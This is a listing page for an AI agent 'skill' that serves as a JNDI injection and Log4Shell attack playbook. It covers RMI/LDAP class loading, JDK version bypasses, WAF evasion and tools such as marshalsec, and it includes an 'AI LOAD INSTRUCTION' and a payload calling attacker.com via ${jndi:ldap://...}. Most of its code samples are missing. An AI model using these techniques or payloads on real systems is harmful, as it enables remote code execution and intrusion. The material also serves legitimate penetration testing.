jndi-injection
JNDI injection playbook. Use when Java applications perform JNDI lookups with attacker-controlled names, especially via Log4j2, Spring, or any code path reaching InitialContext.lookup().
By yaklang · 2,979 installs
npx skills add yaklang/hack-skills --skill jndi-injection
Source repository · Upstream listing
SKILL: JNDI Injection — Expert Attack Playbook
AI LOAD INSTRUCTION : Expert JNDI injection techniques. Covers lookup mechanism abuse, RMI/LDAP class loading, JDK version constraints, Log4Shell (CVE 2021 44228), marshalsec tooling, and post 8u191 bypass via deserialization gadgets. Base models often confuse JNDI injection with general deserialization — this file clarifies the distinct attack surface.
0. RELATED ROUTING
[deserialization insecure](../deserialization insecure/SKILL.md) when JNDI leads to deserialization (post 8u191 bypass path)
[expression language injection](../expression language injection/SKILL.md) when the JNDI sink is reached via SpEL or OGNL expression evaluation
1. CORE MECHANISM
JNDI (Java Naming and Directory Interface) provides a unified API for looking up objects from naming/directory services (RMI, LDAP, DNS, CORBA).
Vulnerability : when InitialContext.lookup(USER INPUT) receives an attacker controlled URL, the JVM connects to the attacker's server and loads/executes arbitrary code.
2. ATTACK VECTORS
RMI (Remote Method Invocation)
Attacker runs an RMI server returning a Reference object pointing to a remote class:
LDAP
Attacker runs an LDAP server returning entries with javaCodeBase , javaFactory , or serialized object attributes.
LDAP is preferred over RMI because LDAP restrictions were added later (JDK 8u191 vs 8u121 for RMI).
DNS (detection only)
Useful for confirming JNDI injection without RCE — triggers DNS query to attacker's authoritative NS.
3. JDK VERSION CONSTRAINTS AND BYPASS
JDK Version RMI Remote Class LDAP Remote Class Bypass
< 8u121 YES YES Direct class loading
8u121 – 8u190 NO ( trustURLCodebase=false ) YES Use LDAP vector
= 8u191 NO NO Return serialized gadget object via LDAP
= 8u191 (alternative) NO NO BeanFactory + EL injection
Post 8u191 Bypass: LDAP → Serialized Gadget
Instead of returning a remote class URL, the attacker's LDAP server returns a serialized Java object in the javaSerializedData attribute. The JVM deserializes it locally — if a gadget chain (e.g., CommonsCollections) is on the classpath, RCE is achieved.
Post 8u191 Bypass: BeanFactory + EL
When Tomcat's BeanFactory is on the classpath, the LDAP response can reference it as a factory with EL expressions:
4. TOOLING
marshalsec — JNDI Reference Server
JNDI Injection Exploit (all in one)
Rogue JNDI
5. LOG4J2 — CVE 2021 44228 (LOG4SHELL)
Mechanism
Log4j2 supports Lookups — expressions like ${...} that are evaluated in log messages. The jndi lookup triggers InitialContext.lookup() :
Any logged string containing this pattern triggers the vulnerability — User Agent, form fields, HTTP headers, URL paths, error messages.
Detection Payloads
WAF Bypass Variants
Log4j2's lookup parser is very flexible:
Split Log Bypass (Advanced)
When WAF detects paired ${jndi:...} in a single request, split across two log entries:
If the application concatenates log entries before re processing (e.g., aggregation pipelines), the combined ${jndi:ldap://attacker.com/exploit} triggers.
Real World Case: Solr Log4Shell
Injection Points to Test
Affected Versions
Log4j2 2.0 beta9 through 2.14.1
Fixed in 2.15.0 (partial), fully fixed in 2.17.0
Log4j 1.x is NOT affected (different lookup mechanism)
6. OTHER JNDI SINKS (BEYOND LOG4J)
Product / Framework Sink
Spring Framework JndiTemplate.lookup()
Apache Solr Config API, VelocityResponseWriter
Apache Druid Various config endpoints
VMware vCenter Multiple endpoints
H2 Database Console JNDI connection string
Fastjson @type + JdbcRowSetImpl.setDataSourceName()
7. TESTING METHODOLOGY
8. QUICK REFERENCE